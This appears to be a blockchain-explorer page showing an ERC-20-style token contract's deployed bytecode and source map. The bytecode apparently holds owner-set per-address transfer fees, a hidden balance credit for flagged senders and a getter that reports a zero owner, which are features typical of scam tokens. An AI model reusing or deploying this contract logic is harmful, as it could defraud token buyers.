83815286602085880101111561104657600080fd5b836020870160208301376000602085830101528094505050505092915050565b60006020828403121561107857600080fd5b610ef282610fc2565b6000806040838503121561109457600080fd5b61109d83610fc2565b91506110ab60208401610fc2565b90509250929050565b6000806000606084860312156110c957600080fd5b6110d284610fc2565b92506110e060208501610fc2565b9150604084013590509250925092565b6000806040838503121561110357600080fd5b61110c83610fc2565b91506020830135801515811461112157600080fd5b809150509250929050565b6000806040838503121561113f57600080fd5b61114883610fc2565b946020939093013593505050565b6000806040838503121561116957600080fd5b823567ffffffffffffffff8082111561118157600080fd5b61118d86838701610fd9565b935060208501359150808211156111a357600080fd5b506111b085828601610fd9565b9150509250929050565b6000602082840312156111cc57600080fd5b5035919050565b6000815180845260005b818110156111f9576020818501810151868301820152016111dd565b8181111561120b576000602083870101525b50601f01601f19169290920160200192915050565b602081526000610ef260208301846111d3565b60608152600061124660608301866111d3565b828103602084015261125881866111d3565b91505060018060a01b0383166040830152949350505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572604082015260600190565b600082198211156112b9576112b9611351565b500190565b6000826112db57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156112fa576112fa611351565b500290565b60008282101561131157611311611351565b500390565b600181811c9082168061132a57607f821691505b6020821081141561134b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220df64303cdd1de8dbf40fbb83075a213482abed0897b6c705072b35840a3a21e364736f6c63430008060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101585760003560e01c80636c9992b3116100c3578063a9059cbb1161007c578063a9059cbb146102f7578063b4a99a4e1461030a578063c4e7c16514610311578063d32c99cd14610324578063dd62ed3e14610337578063f2fde38b1461036e57600080fd5b80636c9992b31461028557806370a0823114610298578063715018a6146102c157806380893918146102c957806395d89b41146102dc578063a457c2d7146102e457600080fd5b80632c91d071116101155780632c91d07114610217578063313ce5671461022a57806339509351146102395780633de94b451461024c57806349bd5a5e1461025f5780635dd7c8ac1461027257600080fd5b806306fdde031461015d578063095ea7b31461017b5780631694505e1461019e57806318160ddd146101dd5780631f478f1e146101ef57806323b872dd14610204575b600080fd5b610165610381565b6040516101729190611220565b60405180910390f35b61018e61018936600461112c565b610413565b6040519015158152602001610172565b6101c57f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610172565b6001545b604051908152602001610172565b6102026101fd3660046110f0565b61042d565b005b61018e6102123660046110b4565b61048b565b610202610225366004611066565b6104af565b60405160128152602001610172565b61018e61024736600461112c565b6104fb565b61020261025a3660046111ba565b610538565b6007546101c5906001600160a01b031681565b6101e1610280366004611066565b610567565b61018e610293366004611066565b6105b4565b6101e16102a6366004611066565b6001600160a01b031660009081526005602052604090205490565b610202610600565b61018e6102d7366004611066565b610636565b610165610682565b61018e6102f236600461112c565b610691565b61018e61030536600461112c565b610721565b60006101c5565b61020261031f36600461112c565b610784565b610202610332366004611156565b6107ca565b6101e1610345366004611081565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b61020261037c366004611066565b61085b565b60606008805461039090611316565b80601f01602080910402602001604051908101604052809291908181526020018280546103bc90611316565b80156104095780601f106103de57610100808354040283529160200191610409565b820191906000526020600020905b8154815290600101906020018083116103ec57829003601f168201915b5050505050905090565b6000336104218185856108f6565b60019150505b92915050565b6004546001600160a01b031633146104605760405162461bcd60e51b815260040161045790611271565b60405180910390fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600033610499858285610a18565b6104a4858585610aa8565b506001949350505050565b6004546001600160a01b031633146104d95760405162461bcd60e51b815260040161045790611271565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b336000818152602081815260408083206001600160a01b038716845290915281205490919061042190829086906105339087906112a6565b6108f6565b6004546001600160a01b031633146105625760405162461bcd60e51b815260040161045790611271565b600a55565b6004546000906001600160a01b031633146105945760405162461bcd60e51b815260040161045790611271565b506001600160a01b0381166000908152600d60205260409020545b919050565b6004546000906001600160a01b031633146105e15760405162461bcd60e51b815260040161045790611271565b506001600160a01b031660009081526006602052604090205460ff1690565b6004546001600160a01b0316331461062a5760405162461bcd60e51b815260040161045790611271565b6106346000610e61565b565b6004546000906001600160a01b031633146106635760405162461bcd60e51b815260040161045790611271565b506001600160a01b03166000908152600c602052604090205460ff1690565b60606009805461039090611316565b336000818152602081815260408083206001600160a01b0387168452909152812054909190838110156107145760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610457565b6104a482868684036108f6565b3360008181526006602052604081205490919060ff16151560011415610779576001600160a01b038416600090815260056020526040812080548592906107699084906112a6565b9091555060019250610427915050565b610421818585610aa8565b6004546001600160a01b031633146107ae5760405162461bcd60e51b815260040161045790611271565b6001600160a01b039091166000908152600d6020526040902055565b6004546001600160a01b031633146107f45760405162461bcd60e51b815260040161045790611271565b8151610807906008906020850190610f29565b50805161081b906009906020840190610f29565b507f6c5d2637118cb4115becb3c3e6e553db25400cb3ffe8fd6fb2a2b4e01433862782823360405161084f93929190611233565b60405180910390a15050565b6004546001600160a01b031633146108855760405162461bcd60e51b815260040161045790611271565b6001600160a01b0381166108ea5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610457565b6108f381610e61565b50565b6001600160a01b0383166109585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610457565b6001600160a01b0382166109b95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610457565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03838116600090815260208181526040808320938616835292905220546000198114610aa25781811015610a955760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610457565b610aa284848484036108f6565b50505050565b6001600160a01b038316610b0c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610457565b6001600160a01b038216610b6e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610457565b6001600160a01b03831660009081526005602052604090205481811015610be65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220416d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610457565b6001610bf28585610eb3565b15610bfb575060005b60008115610c9f576007546000906001600160a01b031615610c4d576007546001600160a01b0387811691161415610c325750600a545b6007546001600160a01b0388811691161415610c4d5750600b545b6001600160a01b0387166000908152600d602052604090205415610c8657506001600160a01b0386166000908152600d60205260409020545b610c9b6064610c958784610ef9565b90610f05565b9150505b8015610d8d576001600160a01b038616600090815260056020526040902054610cc89082610f11565b6001600160a01b03871660009081526005602052604081209190915561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54610d159082610f1d565b61dead600081905260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba919091556040516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d849085815260200190565b60405180910390a35b610db9610d9a82866112ff565b6001600160a01b03881660009081526005602052604090205490610f11565b6001600160a01b038716600090815260056020526040902055610dfe610ddf82866112ff565b6001600160a01b03871660009081526005602052604090205490610f1d565b6001600160a01b0380871660008181526005602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e4884886112ff565b60405190815260200160405180910390a3505050505050565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152600c602052604081205460ff1680610ef257506001600160a01b0382166000908152600c602052604090205460ff165b9392505050565b6000610ef282846112e0565b6000610ef282846112be565b6000610ef282846112ff565b6000610ef282846112a6565b828054610f3590611316565b90600052602060002090601f016020900481019282610f575760008555610f9d565b82601f10610f7057805160ff1916838001178555610f9d565b82800160010185558215610f9d579182015b82811115610f9d578251825591602001919060010190610f82565b50610fa9929150610fad565b5090565b5b80821115610fa95760008155600101610fae565b80356001600160a01b03811681146105af57600080fd5b600082601f830112610fea57600080fd5b813567ffffffffffffffff8082111561100557611005611367565b604051601f8301601f19908116603f0116810190828211818310171561102d5761102d611367565b8160405283815286602085880101111561104657600080fd5b836020870160208301376000602085830101528094505050505092915050565b60006020828403121561107857600080fd5b610ef282610fc2565b6000806040838503121561109457600080fd5b61109d83610fc2565b91506110ab60208401610fc2565b90509250929050565b6000806000606084860312156110c957600080fd5b6110d284610fc2565b92506110e060208501610fc2565b9150604084013590509250925092565b6000806040838503121561110357600080fd5b61110c83610fc2565b91506020830135801515811461112157600080fd5b809150509250929050565b6000806040838503121561113f57600080fd5b61114883610fc2565b946020939093013593505050565b6000806040838503121561116957600080fd5b823567ffffffffffffffff8082111561118157600080fd5b61118d86838701610fd9565b935060208501359150808211156111a357600080fd5b506111b085828601610fd9565b9150509250929050565b6000602082840312156111cc57600080fd5b5035919050565b6000815180845260005b818110156111f9576020818501810151868301820152016111dd565b8181111561120b576000602083870101525b50601f01601f19169290920160200192915050565b602081526000610ef260208301846111d3565b60608152600061124660608301866111d3565b828103602084015261125881866111d3565b91505060018060a01b0383166040830152949350505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572604082015260600190565b600082198211156112b9576112b9611351565b500190565b6000826112db57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156112fa576112fa611351565b500290565b60008282101561131157611311611351565b500390565b600181811c9082168061132a57607f821691505b6020821081141561134b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220df64303cdd1de8dbf40fbb83075a213482abed0897b6c705072b35840a3a21e364736f6c63430008060033

Deployed Bytecode Sourcemap

12351:6877:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15034:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10314:192;;;;;;:::i;:::-;;:::i;:::-;;;3899:14:1;;3892:22;3874:41;;3862:2;3847:18;10314:192:0;3829:92:1;12624:51:0;;;;;;;;-1:-1:-1;;;;;3690:32:1;;;3672:51;;3660:2;3645:18;12624:51:0;3627:102:1;10045:99:0;10124:12;;10045:99;;;8988:25:1;;;8976:2;8961:18;10045:99:0;8943:76:1;16261:113:0;;;;;;:::i;:::-;;:::i;:::-;;18537:288;;;;;;:::i;:::-;;:::i;15692:98::-;;;;;;:::i;:::-;;:::i;9947:84::-;;;10021:2;9166:36:1;;9154:2;9139:18;9947:84:0;9121:87:1;10520:240:0;;;;;;:::i;:::-;;:::i;15800:93::-;;;;;;:::i;:::-;;:::i;12682:28::-;;;;;-1:-1:-1;;;;;12682:28:0;;;16129:122;;;;;;:::i;:::-;;:::i;15561:121::-;;;;;;:::i;:::-;;:::i;12499:118::-;;;;;;:::i;:::-;-1:-1:-1;;;;;12591:18:0;12564:7;12591:18;;;:9;:18;;;;;;;12499:118;776:103;;;:::i;16382:124::-;;;;;;:::i;:::-;;:::i;15140:96::-;;;:::i;10766:438::-;;;;;;:::i;:::-;;:::i;18216:299::-;;;;;;:::i;:::-;;:::i;550:91::-;596:7;550:91;;15917:196;;;;;;:::i;:::-;;:::i;14836:186::-;;;;;;:::i;:::-;;:::i;10158:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10265:18:0;;;10238:7;10265:18;;;;;;;;;;;:27;;;;;;;;;;;;;10158:142;887:201;;;;;;:::i;:::-;;:::i;15034:92::-;15080:13;15113:5;15106:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15034:92;:::o;10314:192::-;10388:4;174:10;10444:32;174:10;10460:7;10469:6;10444:8;:32::i;:::-;10494:4;10487:11;;;10314:192;;;;;:::o;16261:113::-;689:6;;-1:-1:-1;;;;;689:6:0;174:10;689:22;681:67;;;;-1:-1:-1;;;681:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;16339:18:0;;;::::1;;::::0;;;:8:::1;:18;::::0;;;;:27;;-1:-1:-1;;16339:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16261:113::o;18537:288::-;18659:4;174:10;18719:38;18735:4;174:10;18750:6;18719:15;:38::i;:::-;18768:27;18778:4;18784:2;18788:6;18768:9;:27::i;:::-;-1:-1:-1;18813:4:0;;18537:288;-1:-1:-1;;;;18537:288:0:o;15692:98::-;689:6;;-1:-1:-1;;;;;689:6:0;174:10;689:22;681:67;;;;-1:-1:-1;;;681:67:0;;;;;;;:::i;:::-;15758:13:::1;:24:::0;;-1:-1:-1;;;;;;15758:24:0::1;-1:-1:-1::0;;;;;15758:24:0;;;::::1;::::0;;;::::1;::::0;;15692:98::o;10520:240::-;174:10;10608:4;10689:18;;;;;;;;;;;-1:-1:-1;;;;;10689:27:0;;;;;;;;;;10608:4;;174:10;10664:66;;174:10;;10689:27;;:40;;10719:10;;10689:40;:::i;:::-;10664:8;:66::i;15800:93::-;689:6;;-1:-1:-1;;;;;689:6:0;174:10;689:22;681:67;;;;-1:-1:-1;;;681:67:0;;;;;;;:::i;:::-;15861:15:::1;:24:::0;15800:93::o;16129:122::-;689:6;;16199:7;;-1:-1:-1;;;;;689:6:0;174:10;689:22;681:67;;;;-1:-1:-1;;;681:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;16226:17:0;::::1;;::::0;;;:7:::1;:17;::::0;;;;;759:1:::1;16129:122:::0;;;:::o;15561:121::-;689:6;;15632:4;;-1:-1:-1;;;;;689:6:0;174:10;689:22;681:67;;;;-1:-1:-1;;;681:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;15656:18:0::1;;::::0;;;:8:::1;:18;::::0;;;;;::::1;;::::0;15561:121::o;776:103::-;689:6;;-1:-1:-1;;;;;689:6:0;174:10;689:22;681:67;;;;-1:-1:-1;;;681:67:0;;;;;;;:::i;:::-;841:30:::1;868:1;841:18;:30::i;:::-;776:103::o:0;16382:124::-;689:6;;16456:4;;-1:-1:-1;;;;;689:6:0;174:10;689:22;681:67;;;;-1:-1:-1;;;681:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;16480:18:0::1;;::::0;;;:8:::1;:18;::::0;;;;;::::1;;::::0;16382:124::o;15140:96::-;15188:13;15221:7;15214:14;;;;;:::i;10766:438::-;174:10;10859:4;10942:18;;;;;;;;;;;-1:-1:-1;;;;;10942:27:0;;;;;;;;;;10859:4;;174:10;10988:35;;;;10980:85;;;;-1:-1:-1;;;10980:85:0;;8638:2:1;10980:85:0;;;8620:21:1;8677:2;8657:18;;;8650:30;8716:34;8696:18;;;8689:62;-1:-1:-1;;;8767:18:1;;;8760:35;8812:19;;10980:85:0;8610:227:1;10980:85:0;11101:60;11110:5;11117:7;11145:15;11126:16;:34;11101:8;:60::i;18216:299::-;174:10;18286:4;18346:15;;;:8;:15;;;;;;18286:4;;174:10;18346:15;;:23;;:15;:23;18342:105;;;-1:-1:-1;;;;;18386:13:0;;;;;;:9;:13;;;;;:23;;18403:6;;18386:13;:23;;18403:6;;18386:23;:::i;:::-;;;;-1:-1:-1;18431:4:0;;-1:-1:-1;18424:11:0;;-1:-1:-1;;18424:11:0;18342:105;18457:28;18467:5;18474:2;18478:6;18457:9;:28::i;15917:196::-;689:6;;-1:-1:-1;;;;;689:6:0;174:10;689:22;681:67;;;;-1:-1:-1;;;681:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16079:17:0;;::::1;;::::0;;;:7:::1;:17;::::0;;;;:26;15917:196::o;14836:186::-;689:6;;-1:-1:-1;;;;;689:6:0;174:10;689:22;681:67;;;;-1:-1:-1;;;681:67:0;;;;;;;:::i;:::-;14922:12;;::::1;::::0;:5:::1;::::0;:12:::1;::::0;::::1;::::0;::::1;:::i;:::-;-1:-1:-1::0;14945:16:0;;::::1;::::0;:7:::1;::::0;:16:::1;::::0;::::1;::::0;::::1;:::i;:::-;;14977:37;14989:4;14995:6;15003:10;14977:37;;;;;;;;:::i;:::-;;;;;;;;14836:186:::0;;:::o;887:201::-;689:6;;-1:-1:-1;;;;;689:6:0;174:10;689:22;681:67;;;;-1:-1:-1;;;681:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;976:22:0;::::1;968:73;;;::::0;-1:-1:-1;;;968:73:0;;7013:2:1;968:73:0::1;::::0;::::1;6995:21:1::0;7052:2;7032:18;;;7025:30;7091:34;7071:18;;;7064:62;-1:-1:-1;;;7142:18:1;;;7135:36;7188:19;;968:73:0::1;6985:228:1::0;968:73:0::1;1052:28;1071:8;1052:18;:28::i;:::-;887:201:::0;:::o;11218:380::-;-1:-1:-1;;;;;11354:19:0;;11346:68;;;;-1:-1:-1;;;11346:68:0;;8233:2:1;11346:68:0;;;8215:21:1;8272:2;8252:18;;;8245:30;8311:34;8291:18;;;8284:62;-1:-1:-1;;;8362:18:1;;;8355:34;8406:19;;11346:68:0;8205:226:1;11346:68:0;-1:-1:-1;;;;;11433:21:0;;11425:68;;;;-1:-1:-1;;;11425:68:0;;6252:2:1;11425:68:0;;;6234:21:1;6291:2;6271:18;;;6264:30;6330:34;6310:18;;;6303:62;-1:-1:-1;;;6381:18:1;;;6374:32;6423:19;;11425:68:0;6224:224:1;11425:68:0;-1:-1:-1;;;;;11506:18:0;;;:11;:18;;;;;;;;;;;:27;;;;;;;;;;;;;:36;;;11558:32;;8988:25:1;;;11558:32:0;;8961:18:1;11558:32:0;;;;;;;11218:380;;;:::o;11612:453::-;-1:-1:-1;;;;;10265:18:0;;;11747:24;10265:18;;;;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;11814:37:0;;11810:248;;11896:6;11876:16;:26;;11868:68;;;;-1:-1:-1;;;11868:68:0;;6655:2:1;11868:68:0;;;6637:21:1;6694:2;6674:18;;;6667:30;6733:31;6713:18;;;6706:59;6782:18;;11868:68:0;6627:179:1;11868:68:0;11980:51;11989:5;11996:7;12024:6;12005:16;:25;11980:8;:51::i;:::-;11736:329;11612:453;;;:::o;16662:1546::-;-1:-1:-1;;;;;16794:18:0;;16786:68;;;;-1:-1:-1;;;16786:68:0;;7827:2:1;16786:68:0;;;7809:21:1;7866:2;7846:18;;;7839:30;7905:34;7885:18;;;7878:62;-1:-1:-1;;;7956:18:1;;;7949:35;8001:19;;16786:68:0;7799:227:1;16786:68:0;-1:-1:-1;;;;;16873:16:0;;16865:64;;;;-1:-1:-1;;;16865:64:0;;5487:2:1;16865:64:0;;;5469:21:1;5526:2;5506:18;;;5499:30;5565:34;5545:18;;;5538:62;-1:-1:-1;;;5616:18:1;;;5609:33;5659:19;;16865:64:0;5459:225:1;16865:64:0;-1:-1:-1;;;;;16964:15:0;;16942:19;16964:15;;;:9;:15;;;;;;16998:22;;;;16990:73;;;;-1:-1:-1;;;16990:73:0;;7420:2:1;16990:73:0;;;7402:21:1;7459:2;7439:18;;;7432:30;7498:34;7478:18;;;7471:62;-1:-1:-1;;;7549:18:1;;;7542:36;7595:19;;16990:73:0;7392:228:1;16990:73:0;17086:4;17107:27;17125:4;17131:2;17107:17;:27::i;:::-;17103:70;;;-1:-1:-1;17156:5:0;17103:70;17183:22;17226:2;17222:507;;;17284:13;;17245:16;;-1:-1:-1;;;;;17284:13:0;:27;17280:278;;17342:13;;-1:-1:-1;;;;;17336:19:0;;;17342:13;;17336:19;17332:96;;;-1:-1:-1;17393:15:0;;17332:96;17458:13;;-1:-1:-1;;;;;17450:21:0;;;17458:13;;17450:21;17446:97;;;-1:-1:-1;17509:14:0;;17446:97;-1:-1:-1;;;;;17576:13:0;;17592:1;17576:13;;;:7;:13;;;;;;:17;17572:82;;-1:-1:-1;;;;;;17625:13:0;;;;;;:7;:13;;;;;;17572:82;17687:30;17713:3;17687:21;:7;17699:8;17687:11;:21::i;:::-;:25;;:30::i;:::-;17670:47;;17230:499;17222:507;17747:18;;17743:252;;-1:-1:-1;;;;;17800:15:0;;;;;;:9;:15;;;;;;:35;;17820:14;17800:19;:35::i;:::-;-1:-1:-1;;;;;17782:15:0;;;;;;:9;:15;;;;;:53;;;;15506:42;17876:23;;;;:43;;17904:14;17876:27;:43::i;:::-;15506:42;17850:23;;;;:9;:23;;;:69;;;;:23;17939:44;-1:-1:-1;;;;;17939:44:0;;;;;;;17968:14;8988:25:1;;8976:2;8961:18;;8943:76;17939:44:0;;;;;;;;17743:252;18025:45;18045:24;18055:14;18045:7;:24;:::i;:::-;-1:-1:-1;;;;;18025:15:0;;;;;;:9;:15;;;;;;;:19;:45::i;:::-;-1:-1:-1;;;;;18007:15:0;;;;;;:9;:15;;;;;:63;18097:43;18115:24;18125:14;18115:7;:24;:::i;:::-;-1:-1:-1;;;;;18097:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;18081:13:0;;;;;;;:9;:13;;;;;:59;;;;18156:44;;;18175:24;18185:14;18175:7;:24;:::i;:::-;18156:44;;8988:25:1;;;8976:2;8961:18;18156:44:0;;;;;;;16775:1433;;;16662:1546;;;:::o;1096:191::-;1189:6;;;-1:-1:-1;;;;;1206:17:0;;;-1:-1:-1;;;;;;1206:17:0;;;;;;;1239:40;;1189:6;;;1206:17;1189:6;;1239:40;;1170:16;;1239:40;1159:128;1096:191;:::o;16514:138::-;-1:-1:-1;;;;;16614:14:0;;16590:4;16614:14;;;:8;:14;;;;;;;;;:30;;-1:-1:-1;;;;;;16632:12:0;;;;;;:8;:12;;;;;;;;16614:30;16607:37;16514:138;-1:-1:-1;;;16514:138:0:o;2665:98::-;2723:7;2750:5;2754:1;2750;:5;:::i;2771:98::-;2829:7;2856:5;2860:1;2856;:5;:::i;2559:98::-;2617:7;2644:5;2648:1;2644;:5;:::i;2453:98::-;2511:7;2538:5;2542:1;2538;:5;:::i;-1:-1:-1:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;14:173:1;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:2;;177:1;174;167:12;192:719;235:5;288:3;281:4;273:6;269:17;265:27;255:2;;306:1;303;296:12;255:2;342:6;329:20;368:18;405:2;401;398:10;395:2;;;411:18;;:::i;:::-;486:2;480:9;454:2;540:13;;-1:-1:-1;;536:22:1;;;560:2;532:31;528:40;516:53;;;584:18;;;604:22;;;581:46;578:2;;;630:18;;:::i;:::-;670:10;666:2;659:22;705:2;697:6;690:18;751:3;744:4;739:2;731:6;727:15;723:26;720:35;717:2;;;768:1;765;758:12;717:2;832;825:4;817:6;813:17;806:4;798:6;794:17;781:54;879:1;872:4;867:2;859:6;855:15;851:26;844:37;899:6;890:15;;;;;;245:666;;;;:::o;916:186::-;975:6;1028:2;1016:9;1007:7;1003:23;999:32;996:2;;;1044:1;1041;1034:12;996:2;1067:29;1086:9;1067:29;:::i;1107:260::-;1175:6;1183;1236:2;1224:9;1215:7;1211:23;1207:32;1204:2;;;1252:1;1249;1242:12;1204:2;1275:29;1294:9;1275:29;:::i;:::-;1265:39;;1323:38;1357:2;1346:9;1342:18;1323:38;:::i;:::-;1313:48;;1194:173;;;;;:::o;1372:328::-;1449:6;1457;1465;1518:2;1506:9;1497:7;1493:23;1489:32;1486:2;;;1534:1;1531;1524:12;1486:2;1557:29;1576:9;1557:29;:::i;:::-;1547:39;;1605:38;1639:2;1628:9;1624:18;1605:38;:::i;:::-;1595:48;;1690:2;1679:9;1675:18;1662:32;1652:42;;1476:224;;;;;:::o;1705:347::-;1770:6;1778;1831:2;1819:9;1810:7;1806:23;1802:32;1799:2;;;1847:1;1844;1837:12;1799:2;1870:29;1889:9;1870:29;:::i;:::-;1860:39;;1949:2;1938:9;1934:18;1921:32;1996:5;1989:13;1982:21;1975:5;1972:32;1962:2;;2018:1;2015;2008:12;1962:2;2041:5;2031:15;;;1789:263;;;;;:::o;2057:254::-;2125:6;2133;2186:2;2174:9;2165:7;2161:23;2157:32;2154:2;;;2202:1;2199;2192:12;2154:2;2225:29;2244:9;2225:29;:::i;:::-;2215:39;2301:2;2286:18;;;;2273:32;;-1:-1:-1;;;2144:167:1:o;2316:543::-;2404:6;2412;2465:2;2453:9;2444:7;2440:23;2436:32;2433:2;;;2481:1;2478;2471:12;2433:2;2521:9;2508:23;2550:18;2591:2;2583:6;2580:14;2577:2;;;2607:1;2604;2597:12;2577:2;2630:50;2672:7;2663:6;2652:9;2648:22;2630:50;:::i;:::-;2620:60;;2733:2;2722:9;2718:18;2705:32;2689:48;;2762:2;2752:8;2749:16;2746:2;;;2778:1;2775;2768:12;2746:2;;2801:52;2845:7;2834:8;2823:9;2819:24;2801:52;:::i;:::-;2791:62;;;2423:436;;;;;:::o;2864:180::-;2923:6;2976:2;2964:9;2955:7;2951:23;2947:32;2944:2;;;2992:1;2989;2982:12;2944:2;-1:-1:-1;3015:23:1;;2934:110;-1:-1:-1;2934:110:1:o;3049:472::-;3091:3;3129:5;3123:12;3156:6;3151:3;3144:19;3181:1;3191:162;3205:6;3202:1;3199:13;3191:162;;;3267:4;3323:13;;;3319:22;;3313:29;3295:11;;;3291:20;;3284:59;3220:12;3191:162;;;3371:6;3368:1;3365:13;3362:2;;;3437:1;3430:4;3421:6;3416:3;3412:16;3408:27;3401:38;3362:2;-1:-1:-1;3503:2:1;3482:15;-1:-1:-1;;3478:29:1;3469:39;;;;3510:4;3465:50;;3099:422;-1:-1:-1;;3099:422:1:o;4160:220::-;4309:2;4298:9;4291:21;4272:4;4329:45;4370:2;4359:9;4355:18;4347:6;4329:45;:::i;4385:480::-;4610:2;4599:9;4592:21;4573:4;4636:45;4677:2;4666:9;4662:18;4654:6;4636:45;:::i;:::-;4729:9;4721:6;4717:22;4712:2;4701:9;4697:18;4690:50;4757:33;4783:6;4775;4757:33;:::i;:::-;4749:41;;;4855:1;4851;4846:3;4842:11;4838:19;4830:6;4826:32;4821:2;4810:9;4806:18;4799:60;4582:283;;;;;;:::o;5689:356::-;5891:2;5873:21;;;5910:18;;;5903:30;5969:34;5964:2;5949:18;;5942:62;6036:2;6021:18;;5863:182::o;9213:128::-;9253:3;9284:1;9280:6;9277:1;9274:13;9271:2;;;9290:18;;:::i;:::-;-1:-1:-1;9326:9:1;;9261:80::o;9346:217::-;9386:1;9412;9402:2;;9456:10;9451:3;9447:20;9444:1;9437:31;9491:4;9488:1;9481:15;9519:4;9516:1;9509:15;9402:2;-1:-1:-1;9548:9:1;;9392:171::o;9568:168::-;9608:7;9674:1;9670;9666:6;9662:14;9659:1;9656:21;9651:1;9644:9;9637:17;9633:45;9630:2;;;9681:18;;:::i;:::-;-1:-1:-1;9721:9:1;;9620:116::o;9741:125::-;9781:4;9809:1;9806;9803:8;9800:2;;;9814:18;;:::i;:::-;-1:-1:-1;9851:9:1;;9790:76::o;9871:380::-;9950:1;9946:12;;;;9993;;;10014:2;;10068:4;10060:6;10056:17;10046:27;;10014:2;10121;10113:6;10110:14;10090:18;10087:38;10084:2;;;10167:10;10162:3;10158:20;10155:1;10148:31;10202:4;10199:1;10192:15;10230:4;10227:1;10220:15;10084:2;;9926:325;;;:::o;10256:127::-;10317:10;10312:3;10308:20;10305:1;10298:31;10348:4;10345:1;10338:15;10372:4;10369:1;10362:15;10388:127;10449:10;10444:3;10440:20;10437:1;10430:31;10480:4;10477:1;10470:15;10504:4;10501:1;10494:15

Swarm Source

ipfs://df64303cdd1de8dbf40fbb83075a213482abed0897b6c705072b35840a3a21e3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.